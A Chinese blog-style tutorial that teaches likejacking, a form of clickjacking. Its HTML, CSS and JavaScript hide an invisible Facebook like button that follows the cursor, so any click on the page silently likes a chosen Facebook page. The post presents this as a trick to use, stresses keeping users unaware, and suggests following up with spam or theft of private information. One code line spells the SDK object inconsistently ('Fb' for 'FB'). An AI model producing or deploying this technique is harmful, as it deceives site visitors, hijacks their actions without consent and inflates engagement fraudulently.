😱前端的黑暗艺术🐔（如何神不知鬼不觉给你的网站增加点击量?🚀）—你已经不知不觉点赞了很多页面了😱。在某些平台，其

当我们浏览Facebook等平台的时候，其实很可能已经陷入了它们的黑魔法之中了😱。

在某些平台，其实你每一次的点击，都触发了这个网站的黑魔法，神不知鬼不觉给它们的网站增加点击量。

这里我以Facebook为例，你可能每一次点击都会点赞一次，即使你压根就不知道那个网站的存在。

注意⚠️，如果你复制粘贴我的代码，请科学上网，不然你的页面什么都没有

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <script async defer crossorigin="anonymous" src="https://connect.facebook.net/zh_CN/sdk.js#xfbml=1&version=v9.0" nonce="QqZJQ1c1"></script>
</head>
<body>
  <div id="fb-root"></div>
  <div
    class="fb-like"
    data-href="https://www.facebook.com/lundevweb"
    data-width=""
    data-layout=""
    data-action="like"
    data-size="small"
    data-share="true"
  >

  </div>
</body>
</html>

现在我们如何实现这个黑魔法呢🤔

首先我们设置css样式

.fb-like {
      position: fixed;
    }

接下来我们给这个按钮添加鼠标事件

  let fbIframe = document.querySelector('.fb-like')
  document.addEventListener('mousemove' , (event) => {
    fbIframe.style.left = event.clientX + 'px'
    fbIframe.style.top = event.clientY + 'px'
  })

可以发现，此时它已经跟随我们移动了。🐂🍺

但是我们的鼠标并没有在点赞按钮上，并且我们不能让用户看到。我们继续修改CSS样式🚀

.fb-like {
      position: fixed;
      transform: translate(-10px,-10px);
    }

我们肯定不能让用户发现这个事情，将他的透明度变为0

.fb-like {
      position: fixed;
      transform: translate(-10px,-10px);
      opacity: 0;
    }

此时什么都没有了😱 很好，我们已经完成了这个简单的黑暗艺术，接下来就可以做骚操作了

window.fbAsyncInit = function() {
  Fb.event.subscribe('edge.create',() => {
  //在这里你可以进行任何邪恶的操作
    fbIframe.style.display = 'none'
  })
}

FB.event.subscribe ` 监听Facebook SDK事件
edge.create 是用户成功点赞时触发的事件

fbIframe.style.display = 'none'让它消失。

当我们点赞后，就可以自定义逻辑像什么发送垃圾邮件，获取用户私密信息等等……用户根本不知道发生了什么😈

总结

这还只是简单的玩法，其实还有更变态的前端黑暗魔法，等我抽时间给你们写😄